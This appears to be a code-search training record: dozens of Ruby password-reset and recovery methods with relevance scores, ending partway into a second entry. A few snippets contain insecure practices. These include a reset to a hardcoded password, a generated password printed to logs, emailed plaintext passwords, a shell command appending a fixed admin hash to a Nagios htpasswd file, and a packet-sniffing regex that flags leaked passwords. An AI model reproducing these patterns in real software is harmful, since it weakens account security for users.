"def generate_recovery_codes\n code = Heroku::Auth.ask_for_second_factor\n\n recovery_codes = api.request(\n :expects => 200,\n :method => :post,\n :path => \"/account/two-factor/recovery-codes\",\n :headers => { \"Heroku-Two-Factor-Code\" => code }\n ).body\n\n display \"Recovery codes:\"\n recovery_codes.each { |c| display c }\n rescue RestClient::Unauthorized => e\n error Heroku::Command.extract_error(e.http_body)\n end",
"def password_recovery_fail\n PharmacistMailer.password_recovery_fail\n end",
"def recover_password\n raise Webapp::UserSessionExistsError if user_session\n if request.get?\n @handle_or_user_name = \"\" \n \n elsif request.post?\n @handle_or_user_name = params[:handle_or_email]\n raise Webapp::BadParametersError if @handle_or_user_name.nil? || @handle_or_user_name.empty?\n user = User.find_by_handle_or_email(@handle_or_user_name)\n #Should create a PasswordRecovery\n password_recovery = PasswordRecovery.create_password_recovery(user.id)\n #Should send an email\n UserMailer.deliver_recover_password_instructions(user)\n #TODO: Check why the message does not apears correctly in Web GUI\n #message = sprintf(t(:recover_password_instructions_sent),\n flash_notice(:recover_password_instructions_sent,user.email)\n redirect_to root_url\n #should flash a message and redirect to root_url\n \n else\n raise Webapp::BadRequestError\n end\n \n rescue Webapp::BadRequestError\n logger.error(\"Invalid Request type. Client IP: \"+request.remote_ip)\n flash_error(:invalid_request)\n redirect_to root_url\n \n rescue Webapp::UserSessionExistsError\n logger.error \"Attempt to recover a password within a user session. Client IP: \"+request.remote_ip\n flash_error(:user_session_exists)\n redirect_to root_url\n rescue Webapp::BadParametersError, ActiveRecord::RecordNotFound\n logger.error(\"Attempt to recover a password but email or user name was not provided or not found Email or Name was #{@email_or_user_name}. Client IP:\"+request.remote_ip)\n flash_error(:invalid_login_name_or_email)\n redirect_to recover_password_url\n end",
"def form_passwords(form) # Implement this in Form class\r\n { \r\n :passwords => [ \r\n form['password'],\r\n form['confirm_password']\r\n ]\r\n }\r\n end",
"def new_reset_password\n end",
"def request_new_password(name)\n values = {\n name: name\n }\n @client.make_request :post,\n auth_path('request_new_password'),\n values\n end",
"def forgot_password\n user = validate_user(params['forgot_username'])\n\n devices = get_mfa_devices(user.id)\n\n status = user ? :ok : :not_found\n\n render json: devices, status: status\n end",
"def password_rest\n UserMailer.password_rest\n end",
"def create\n auth_key = self.class.klass.auth_key\n auth_password = self.class.klass.auth_password\n valid_key = self.class.klass.valid_key\n current_authable = self.class.klass.send(:find_by!, auth_key => reset_password_params[auth_key])\n current_authable.reset_password(reset_password_params[auth_password], reset_password_params[valid_key])\n render json: { meesage: \"reset password successful\"}, status: 200\n rescue UserError => e\n render json: { error: e.message }, status: e.status\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n p[:password_unset] = 0 \n update_attributes(p)\n end",
"def password\n respond_to do |format|\n format.html\n format.json { render json: { :password => get_password } }\n end\n end",
"def create_new_password\n pass = generate_password\n set_password(pass)\n pass\n end",
"def password_recovery_success\n PharmacistMailer.password_recovery_success\n end",
"def password_recovery_instructions\n PharmacistMailer.password_recovery_instructions\n end",
"def save_registration(params)\r\n random_pass = 4.times.map { (0..9).to_a.sample }.join\r\n stgu = Hash.new\r\n stgu['__c'] = 'stgu'\r\n stgu['__p'] = [\r\n nil,\r\n nil,\r\n nil, \r\n 1,\r\n params[:email],\r\n random_pass,\r\n nil,\r\n params[:first_name],\r\n params[:middle_name],\r\n params[:last_name],\r\n params[:phone],\r\n nil,\r\n Settings.register_location,\r\n params[:birth_date]\r\n ]\r\n\r\n address = [\r\n nil,\r\n nil,\r\n nil,\r\n params[:street_address],\r\n nil,\r\n params[:city],\r\n nil,\r\n params[:state],\r\n 'US',\r\n params[:zip_code]\r\n ]\r\n\r\n stgma = Hash.new\r\n stgma['__c'] = 'stgma'\r\n stgma['__p'] = address\r\n\r\n stgba = Hash.new\r\n stgba['__c'] = 'stgba'\r\n stgba['__p'] = address\r\n\r\n stgu_json = stgu.to_json\r\n stgma_json = stgma.to_json\r\n stgba_json = stgba.to_json\r\n\r\n register_path = 'https://catalog.tadl.org/osrf-gateway-v1?service=open-ils.actor&method=open-ils.actor.user.stage.create¶m='\r\n register_path << stgu_json.to_s\r\n register_path << '¶m=' + stgma_json.to_s\r\n register_path << '¶m=' + stgba_json.to_s\r\n\r\n if Settings.register_newsletter == true && params[:enews] == 'true'\r\n uri = URI(Settings.register_listapi_url)\r\n\r\n params = {\r\n 'check' => ENV[\"LISTAPI_KEY\"],\r\n 'email' => params[:email],\r\n 'firstname' => params[:first_name],\r\n 'lastname' => params[:last_name],\r\n 'city' => params[:city],\r\n 'state' => params[:state],\r\n 'zip' => params[:zip_code],\r\n }\r\n\r\n res = Net::HTTP.post_form(uri, params);\r\n # puts res.body if res.is_a?(Net::HTTPSuccess) # Uncomment for DEBUG\r\n\r\n end\r\n\r\n uri = URI.parse(register_path)\r\n response = Net::HTTP.get_response(uri)\r\n if response.code == '200'\r\n return JSON.parse(response.body)\r\n else\r\n return 'error'\r\n end\r\n\r\n end",
"def create\n @password_tier = PasswordTier.new(password_tier_params)\n\n respond_to do |format|\n if @password_tier.save\n format.html { redirect_to @password_tier, notice: 'PasswordTier was successfully created.' }\n format.json { render :show, status: :created, location: @password_tier }\n else\n format.html { render :new }\n format.json { render json: @password_tier.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_password\n if token = LoginToken.find_by_token(params[:token])\n @user = token.user\n if request.post?\n @tmp_user = User.new(params[:user])\n @tmp_user.validate_attributes(:only => [:password, :password_confirmation])\n if @tmp_user.errors.empty?\n User.transaction do\n @user.change_password(params[:user][:password])\n token.destroy\n @user.reset_login_attempts\n end \n flash[:notice] = 'Password changed!'\n return redirect_to(account_url(:action => :login))\n end\n end # request.post?\n else\n flash[:notice] = 'Sorry, this password regeneration request is no longer valid. Please create a new request.'\n return redirect_to(account_url(:action => :forgot_password))\n end\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes p\n end",
"def forgot_password\n user = User.find_by(email: params[:email])\n\n return render json: { error: 'Something went wrong.' }, status: 422 unless user\n\n user.generate_password_token!\n send_reset_password_email(user.email, user.reload.reset_password_token)\n\n render json: { success: true }, status: 204\n end",
"def update\n begin\n _params = update_password_params\n if _params[:password].length < Devise.password_length.min\n render json: {errors: [\"Too short password.\"]}, status: :bad_request\n return\n elsif _params[:password].length > Devise.password_length.max\n render json: {errors: [\"Too long password.\"]}, status: :bad_request\n return\n end\n user = User.reset_password_by_token(_params)\n render json: user, status: :ok\n rescue => e\n logger.error(\"Password update failed. #{e.message}\")\n render json: {errors: [\"Password update failed.\"]}, status: :internal_server_error\n return\n end\n end",
"def index\n @recovery_passwords = RecoveryPassword.all\n end",
"def reset_password\n service_response = UserManagement::ResetPassword.new(params).perform\n render_api_response(service_response)\n end",
"def reset_password\n id = params[:data]\n @user = User.find(id)\n respond_to do |format|\n if @user.update_attributes(password: \"1qazxsw2\", password_confirmation: \"1qazxsw2\")\n format.json { render json: @user }\n end\n end\n end",
"def forgot_password\n end",
"def password_recovery(email, subject = \"CakeMail Password Recovery\", text = \"Your password is: \")\n session.request(\"CakeMail::API::ClassUser\", \"PasswordRecovery\", { :email => email, :subject => subject, :text => text })\n end",
"def new_password; nil; end",
"def attempt_set_password(params)\n p={}\n p[:password]=params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def create\n @password = Password.new(password_params)\n @password.user_id=current_user.id\n\n respond_to do |format|\n if @password.save\n format.html { redirect_to @password, notice: 'Password was successfully created.' }\n format.json { render :show, status: :created, location: @password }\n else\n format.html { render :new }\n format.json { render json: @password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def clean_up_passwords; end",
"def set_password!(opts = {})\n password!(opts.merge(:verb => :post))\n end",
"def recover_password\n person = Person.find_by_email(params[:email])\n\n if person\n UserMailer.recovery(:key => CryptoHelper.encrypt(\"#{person.id}:#{person.salt}\"),\n :email => person.email,\n :username => person.username,\n :domain => APP_CONFIG.server_domain).deliver\n render_json :messages => \"Recovery mail sent to specified address.\", :status => :ok and return\n else\n render_json :messages => \"Record not found.\", :status => :not_found and return\n end\n\n end",
"def passwords(data, pkt)\n\tif( (data =~ /(\\s|_)(p|P)(a|A)(s|S)(s|S)(w|W)(o|O)(r|R)(d|D)(\\s|:|=)/) != nil )\n\t\tputs $alertNum.to_s() + \". ALERT: \" + \"password leaked in the clear from \" + pkt.ip_saddr + \" (\" + pkt.proto.last + \")!\" \n\t\t$alertNum += 1\n\tend\n\nend",
"def create\n @user = User.find_by_email(params[:password][:email])\n\n if @user\n @user.deliver_reset_password_instructions!\n send_recovery_email\n redirect_to(sign_in_path,\n notice: I18n.t(\"messages.password.create.success\"))\n else\n flash.now[:error] = I18n.t(\"errors.password.invalid\")\n render(:new)\n end\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def register\n usr=params[:user]\n pass=encryptor(usr[:password])\n confPass=encryptor(usr[:password_confirmation])\n #puts(pass)\n #puts(usr[:password])\n @key_name_prefix=\"grupo_\"\n options = {\n :body =>{\n \"firstName\": usr[:firstName],\n \"lastName\": usr[:lastName],\n \"email\": usr[:email],\n \"password\": pass,\n \"password_confirmation\": confPass\n }.to_json,\n :headers => {'Content-Type'=> 'application/json'\n }\n }\n #puts(options)\n resultsLDAP = HTTParty.post(\"http://192.168.99.104:4001/user/resources/ldapcruds\", options)\n if resultsLDAP.code == 201\n # options = {\n # :body => params.to_json,\n # :headers => {\n # 'Content-Type' => 'application/json'\n # }\n # }\n options = {\n :body =>{ \"user\":{\n \"firstName\": usr[:firstName],\n \"lastName\": usr[:lastName],\n \"email\": usr[:email],\n \"password\": pass,\n \"password_confirmation\": confPass\n }\n }.to_json,\n :headers => {'Content-Type'=> 'application/json'\n }\n }\n #puts(options)\n results = HTTParty.post(\"http://192.168.99.101:4051/users\", options)\n if results.code == 201\n user = results.parsed_response\n aux = params[:user]\n options = {\n :body =>{ \"notification_key\": \"\",\n \"user_id\": user\n }.to_json,\n :headers => {'Content-Type'=> 'application/json'\n }\n }\n results3 = HTTParty.post(\"http://192.168.99.101:4051/group_keys\".to_s,options)\n if results3.code == 201\n head 201\n else\n render json: results3.parsed_response, status: results3.code\n end\n else\n render json: results.parsed_response, status: results.code\n end\n elsif resultsLDAP.code == 400\n render json: {\"email\": [\"has already been taken\"]}.to_json, status: 422\n else\n renderError(\"Not Avalible\", 503, \"OpenLDAP server conection failed\")\n end\n end",
"def password_change_new\n\n end",
"def create\n @user = current_user\n @location = Location.find(params[:id])\n @user_location = UserLocation.new({ :user_id => @user.id, :location_id => @location.id, :login_name => params[:request][:login_name] })\n \n old_password = params[:request][:old_password]\n \n if @user.sync_password.blank?\n new_password = request_password\n else\n new_password = @user.sync_password\n end\n \n request = request_github(@user_location.login_name, old_password, new_password)\n \n unless request.nil?\n # TXT user\n txt_user(@user.cell_phone, request)\n \n # Save new user location\n @user_location.save!\n \n # save new password to user\n @user.update_attributes({ :sync_password => request })\n \n redirect_to root_url, :notice => \"New password TXT'd to your cell phone.\"\n else\n redirect_to root_url, :notice => 'Authentication Failed. Try again.'\n end\n end",
"def set_password(opts = {})\n password(opts.merge(:verb => :post))\n end",
"def send_password_change_notification; end",
"def recovery_params\n params.require(:recovery).permit!\n end",
"def attempt_set_password(params)\n\t p = {}\n\t p[:password] = params[:password]\n\t p[:password_confirmation] = params[:password_confirmation]\n\t update_attributes(p)\n end",
"def password=(new_password); end",
"def reset_password\n if request.get?\n @key = params[:key]\n @user_id = params[:id]\n @password = \"\"\n @password_confirmation =\"\"\n raise Webapp::BadParametersError if @key.nil? || @user_id.nil?\n user = User.find(@user_id)\n #check if user has previouly requested a chenge to the password\n password_recovery = PasswordRecovery.find_by_user_id(@user_id)\n raise Webapp::NoSuchPasswordRecovery if password_recovery.nil?\n raise Webapp::BadParametersError if @key != password_recovery.key\n elsif request.put?\n @key = params[:key]\n \n @user_id = params[:id]\n @password = params[:password]\n @password_confirmation =params[:password_confirmation]\n raise Webapp::BadParametersError if (@key.nil? || @key.empty? || @user_id.nil? || @user_id.empty? ||\n @password.nil? || @password.empty? || @password_confirmation.nil? || @password_confirmation.empty?)\n \n #TODO: link this validation to model validation\n raise Webapp::InvalidPasswordError if @password.size < 5 || @password.size > 150\n raise Webapp::NoPasswordMatchError if @password != @password_confirmation\n \n user = User.find(@user_id)\n password_recovery = PasswordRecovery.find_by_user_id(user.id)\n raise Webapp::NoSuchPasswordRecovery if password_recovery.nil?\n \n #now we can change the password and remove the PasswordRecovery\n #Do this inside a small transaction\n user.transaction do\n user.password=@password\n PasswordRecovery.destroy(password_recovery.id)\n user.save!\n flash_notice(:password_changed_successfully)\n redirect_to new_session_url\n end\n else\n raise Webapp::BadRequestError\n end\n \n rescue Webapp::InvalidPasswordError\n logger.error(\"Invalid password format. Client IP: \"+request.remote_ip)\n flash_error(:invalid_password)\n render :action=>:reset_password\n rescue Webapp::NoPasswordMatchError\n logger.error(\"Password don't match. Client IP: \"+request.remote_ip)\n flash_error(:password_dont_match)\n render :action=>:reset_password\n #Error Handling\n rescue Webapp::BadRequestError\n logger.error(\"Invalid Request type. Client IP: \"+request.remote_ip)\n flash_error(:invalid_request)\n redirect_to root_url\n rescue Webapp::NoSuchPasswordRecovery \n logger.error(\"Trying to reset password for a user that haven't request a pass change. Client IP: \"+request.remote_ip)\n flash_error(:reset_password_invalid_key)\n redirect_to root_url\n \n rescue Webapp::BadParametersError\n logger.error(\"Invalid data provided when reseting password. Client IP: \"+request.remote_ip)\n flash_error(:reset_password_invalid_key)\n redirect_to root_url\n rescue ActiveRecord::RecordNotFound\n logger.error(\"User not found when reseting password. Client IP: \"+request.remote_ip)\n flash_error(:user_not_found)\n redirect_to root_url\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def password\n\n end",
"def create\n\n generate_password = Devise.friendly_token.first(8)\n\n if params[:user][:password].blank? && params[:user][:password_confirmation].blank?\n params[:user][:password] = generate_password\n params[:user][:password_confirmation] = generate_password\n end\n @user = User.new(user_params)\n\n puts \"################################################################################\"\n puts \"################################################################################\"\n puts \"################################################################################\"\n puts generate_password\n puts \"################################################################################\"\n puts \"################################################################################\"\n puts \"################################################################################\"\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to admin_users_path, notice: \"Cliente (#{@user.name}), foi cadastrado com sucesso!\" }\n format.json { render :show, status: :created, location: [:admin, @user] }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def change_password!(password)\n json = JSON.generate(:changePassword => { :adminPass => password })\n @compute.connection.req('POST', \"/servers/#{@id}/action\", :data => json)\n @adminPass = password\n end",
"def create\n @password = Password.new(params[:password])\n\n respond_to do |format|\n if @password.save\n flash[:notice] = 'Password was successfully created.'\n format.html { redirect_to(passwords_path) }\n format.xml { render :xml => @password, :status => :created, :location => @password }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @password.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def password_recover\n redirect_to lato_core.root_path unless core_getRecoveryPasswordPermission\n if user = LatoCore::Superuser.find_by(email: params[:email].downcase)\n # genero il codice da salvare come session code\n code = \"RECPSW-#{SecureRandom.urlsafe_base64}\"\n # genero il codice per formare l'url di recupero password\n code_url = URI.encode(\"#{user.id}::#{Time.now}::#{code}\")\n # memorizzo il session_code sul db\n user.update_attribute(:session_code, code)\n # invio una mail di recupero\n LatoCore::SuperusersMailer.recover_password(user.email, code_url).deliver_now\n flash[:success] = CORE_LANG['recover_password']['confirm_send']\n else\n flash[:warning] = CORE_LANG['superusers']['not_found']\n end\n redirect_to lato_core.login_path\n end",
"def create\n # user = User.find_by(email: create_params[:email])\n begin\n user = User.find_for_database_authentication(email: params[:email])\n if user == nil\n render json: {messages: [\"Your password reset request has been accepted. Please check the email sent to complete the password update.\"]}, status: :ok\n return\n end\n user.send_reset_password_instructions\n render json: {messages: [\"Your password reset request has been accepted. Please check the email sent to complete the password update.\"]}, status: :ok\n return\n rescue\n render json: {errors: [\"Your password reset request has not been accepted.\"]}, status: :internal_server_error\n return\n end\n end",
"def send_reset_password_instructions; end",
"def forgot_password\n\t\tend",
"def create\n resource = User.find_for_database_authentication(email: resource_params[:email])\n if resource.nil?\n render(json: { success: false, email: resource_params[:email], errors: { email: [I18n.t('errors.messages.not_found')] } }, status: :unprocessable_entity)\n return\n end\n\n resource.send_reset_password_instructions\n if successfully_sent?(resource)\n render(json: { success: true, email: resource.email }, status: :created)\n else\n render(json: { success: false, email: resource.email }, status: :unprocessable_entity)\n end\n end",
"def test_change_password_blocks_with_invalid_data_on_POST_when_logged_in\n set_user\n\n patches = [ \n [ :current_password => nil], [ :current_password => 'not the password' ],\n [ :password => nil], [ :password => 'not the password' ],\n [ :password_confirmation => nil], [ :password_confirmation => 'not the password' ]\n ]\n \n patches.each do |patch|\n key, value = patch\n \n invalid_data = @valid_data.dup\n \n post :change_password, invalid_data\n \n assert_response :success\n assert_template 'change_password'\n\n user = User.find(@zeus_user.id)\n assert user.password_equals?(@valid_data[:password])\n end\n end",
"def change_temp_password\n\tend",
"def enter_password\n end",
"def forgot_password\n if request.post?\n # Try to generate and mail a new password\n result = User.generate_and_mail_new_password(params[:user][:name], params[:user][:email])\n\n # Act according to the result\n if result['flash'] == 'forgotten_notice'\n flash.now[:forgotten_notice] = result['message']\n else\n flash[:login_confirmation] = result['message']\n redirect_to(:action => :login)\n end\n end\n end",
"def password_recovery\n session[:user_id] = nil\n id = params[:uhash].slice(0, params[:uhash].length-40)\n @user = User.find_by_id(id)\n if not @user or (@user.id.to_s + Digest::SHA1.hexdigest(\"YA\" + @user.email + \"YA\") != params[:uhash])\n return render :text => \"Link is not valid or expired\"\n end\n r = Recovery.find_by_user_id(@user[:id])\n if not r or r[:recover_hash] != params[:hash] or (Time.now - r.updated_at) > 1.day\n return render :text => \"Link is not valid or expired\"\n end\n r.destroy\n session[:user_id] = @user.id\n session[:recovery] = true\n redirect_to schedule_url\n end",
"def lost_password\r\n redirect_to :controller => 'welcome' and return unless Setting.lost_password?\r\n if params[:token]\r\n @token = Token.find_by_action_and_value(\"recovery\", params[:token])\r\n redirect_to :controller => 'welcome' and return unless @token and [email protected]?\r\n @user = @token.user\r\n if request.post?\r\n @user.password, @user.password_confirmation = params[:new_password], params[:new_password_confirmation]\r\n if @user.save\r\n journal(\"recovery pass\",@user.id)\r\n @token.destroy\r\n flash[:notice] = l(:notice_account_password_updated)\r\n redirect_to :action => 'login'\r\n return\r\n end\r\n end\r\n render :template => \"account/password_recovery\"\r\n return\r\n else\r\n if request.post?\r\n user = User.find_by_mail(params[:mail])\r\n # user not found in db\r\n flash.now[:notice] = l(:notice_account_unknown_email) and return unless user\r\n # create a new token for password recovery\r\n token = Token.new(:user => user, :action => \"recovery\")\r\n if token.save\r\n Mailer.deliver_lost_password(token)\r\n journal(\"mailer-lost pass-\"+user.mail,user.id)\r\n redirect_to :controller => 'welcome', :action => 'lost_email_sent'\r\n\r\n # flash[:notice] = l(:notice_account_lost_email_sent)\r\n # redirect_to :action => 'login'\r\n\r\n return\r\n end\r\n end\r\n end\r\n end",
"def change_password(target_address, old_password, new_password)\n uri = URI.parse(\"#{target_address}/user/neo4j/password\")\n response = Net::HTTP.post_form(uri, 'password' => old_password, 'new_password' => new_password)\n JSON.parse(response.body)\n end",
"def attempt_set_password(params)\n update_attributes(password: params[:password], password_confirmation: params[:password_confirmation])\n end",
"def create\r\n flash[:al] =\"\"\r\n respond_to do |format|\r\n\r\n if user = User.find_by_email_and_login(params[:password][:email], params[:password][:email])\r\n @new_password = create_code\r\n user.password = user.password_confirmation = @new_password\r\n user.save_without_validation\r\n Notifier.deliver_new_password(user, @new_password)\r\n\r\n \r\n flash[:al] = \"We sent a new password to #{params[:password][:email]}\"\r\n format.html { render :action => \"new\",:controller=>\"passwords\" }\r\n \r\n else\r\n flash[:al] = \"We can't find that account. Try again.\"\r\n format.html { render :action => \"new\" }\r\n end\r\n end\r\n end",
"def forgot_password\n UserMailer.forgot_password(@user, @token).deliver\n @user.update(reset_token: @token)\n render json: { message: \"Please check your Email for reset password!\" }, status: 200\n rescue StandardError => e\n render json: { message: \"System mail account errors: #{e} \" }, status: :bad_request\n end",
"def change_password\r\n \r\n end",
"def send_new_password(template)\n\n pass = create_new_password\n set_password(pass)\n save\n\n\n mailer = Mailer.new\n\n user_name = @data_object.user_acc_name\n if user_name.nil? || user_name.empty?\n user_name = contact.con_email\n end\n\n values = { \n \"user_name\" => user_name,\n \"password\" => pass\n }\n\n mailer.send_from_template(contact.con_email,\n \"Your DION Registration Information\",\n values,\n template)\n end",
"def new_pwd\n user=User.where(:username => params[:username])[0]\n \n if user==nil || Integer(user[:hash])!=Integer(params[:hash])\n render :update do |page|\n page<< \"alert('Invalid Code');\"\n end\n else\n alphas=Array.new\n i=0\n (\"a\"..\"z\").to_a.each do |l|\n alphas[i]=l\n i+=1\n end\n (\"A\"..\"Z\").to_a.each do |l|\n alphas[i]=l\n i+=1\n end\n (\"0\"..\"9\").to_a.each do |l|\n alphas[i]=l\n i+=1\n end\n \n @new_pwd= Array.new\n i=0\n while i<15\n @new_pwd[i]=alphas[rand(62)]\n i+=1\n end\n @new_pwd*=''\n user.password=hash_pwd(@new_pwd)\n user.save\n session[:current_user]=user\n end\n end",
"def update\n respond_to do |format|\n if @recovery_password.update(recovery_password_params)\n format.html { redirect_to @recovery_password, notice: 'Recovery password ha sido actualizado.' }\n format.json { render :show, status: :ok, location: @recovery_password }\n else\n format.html { render :edit }\n format.json { render json: @recovery_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def createNagiosPasswd\n `touch /usr/local/nagios/etc/htpasswd.users`\n `echo nagiosadmin:uPODiTjNs5eaY >> /usr/local/nagios/etc/htpasswd.users` \n end"
] | [
"0.6374773",
"0.62566763",
"0.62361735",
"0.62082964",
"0.61124355",
"0.6088549",
"0.6035341",
"0.60332566",
"0.60098505",
"0.5997153",
"0.59957033",
"0.59919095",
"0.5968382",
"0.59658456",
"0.59611714",
"0.59586763",
"0.59586763",
"0.5920181",
"0.59013224",
"0.5885759",
"0.58809954",
"0.58797616",
"0.5876884",
"0.5875616",
"0.5871806",
"0.58671063",
"0.5846309",
"0.5831486",
"0.58193415",
"0.5815538",
"0.58075756",
"0.5804832",
"0.57984596",
"0.57983667",
"0.5792661",
"0.5781946",
"0.577052",
"0.5758858",
"0.57559496",
"0.5754031",
"0.57473826",
"0.57441396",
"0.573925",
"0.57380587",
"0.5732426",
"0.5730495",
"0.5726969",
"0.5724823",
"0.57112235",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.5703486",
"0.56921077",
"0.5690917",
"0.5678903",
"0.5669297",
"0.56690687",
"0.5658538",
"0.56565714",
"0.56481296",
"0.56412196",
"0.5638315",
"0.56312484",
"0.5628966",
"0.5625384",
"0.56233287",
"0.56220627",
"0.5618551",
"0.56184816",
"0.56106323",
"0.5605528",
"0.55967987",
"0.5591946",
"0.5588514",
"0.5582146",
"0.55794823",
"0.55783606",
"0.55779094",
"0.5573268",
"0.5566294",
"0.55659455",
"0.55642706",
"0.5555743",
"0.5550934",
"0.5549388",
"0.5548158"
] | 0.66673905 | 0 |
PATCH/PUT /recovery_passwords/1 PATCH/PUT /recovery_passwords/1.json | def update
respond_to do |format|
if @recovery_password.update(recovery_password_params)
format.html { redirect_to @recovery_password, notice: 'Recovery password ha sido actualizado.' }
format.json { render :show, status: :ok, location: @recovery_password }
else
format.html { render :edit }
format.json { render json: @recovery_password.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def reset_password\n id = params[:data]\n @user = User.find(id)\n respond_to do |format|\n if @user.update_attributes(password: \"1qazxsw2\", password_confirmation: \"1qazxsw2\")\n format.json { render json: @user }\n end\n end\n end",
"def password\n @user = User.find_by_password_reminder(params[:token])\n respond_to do |format|\n if @user\n if @user.update_attributes(params[:user])\n format.html { redirect_to root_path, :flash => { success: 'Password updated'} }\n format.json { head :ok }\n else\n format.html {\n @title = \"Edit user\"\n render \"password_reminders/edit\"\n }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to root_path, :flash => { error: 'Invalid Password Reminder'} }\n format.json { head :ok }\n end\n end\n end",
"def update\n error! :bad_request, 'Password must be specified' if params[:password].blank?\n \n if @password_reset_service.reset(params[:password], params[:password_confirmation])\n render :json => {}, :status => :no_content\n else\n error!(:invalid_resource, @user.errors, 'Password has not been reset') \n end\n end",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def test_change_password_unsuccessful\n data = {\n current_password: \"1234567890\",\n password: \"new-password\",\n password_confirmation: \"newer-password\"\n }\n\n user_id = 34\n expected = 1001\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s+'/password')\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def password_updation\n user_id = params[:user_id]\n password = params[:password]\n if password.present?\n @password = User.find(params[:user_id]).update(password: params[:password])\n render json: @password, status: :ok\n else\n render json: { error: 'password can not be nil' }, status: :unauthorized\n end \n end",
"def change_password(opts = {})\n password(opts.merge(:verb => :put))\n end",
"def change_password!(opts = {})\n password!(opts.merge(:verb => :put))\n end",
"def update_with_password(params, *options); end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n p[:password_unset] = 0 \n update_attributes(p)\n end",
"def update\n begin\n _params = update_password_params\n if _params[:password].length < Devise.password_length.min\n render json: {errors: [\"Too short password.\"]}, status: :bad_request\n return\n elsif _params[:password].length > Devise.password_length.max\n render json: {errors: [\"Too long password.\"]}, status: :bad_request\n return\n end\n user = User.reset_password_by_token(_params)\n render json: user, status: :ok\n rescue => e\n logger.error(\"Password update failed. #{e.message}\")\n render json: {errors: [\"Password update failed.\"]}, status: :internal_server_error\n return\n end\n end",
"def update\n auth_password = self.class.klass.auth_password\n self.send(\"current_#{self.class.klass_sym}\")&.update_password(password_params[auth_password])\n render json: { meesage: \"update password successful\"}, status: 200\n rescue UserError => e\n render json: { error: e.message }, status: e.status\n end",
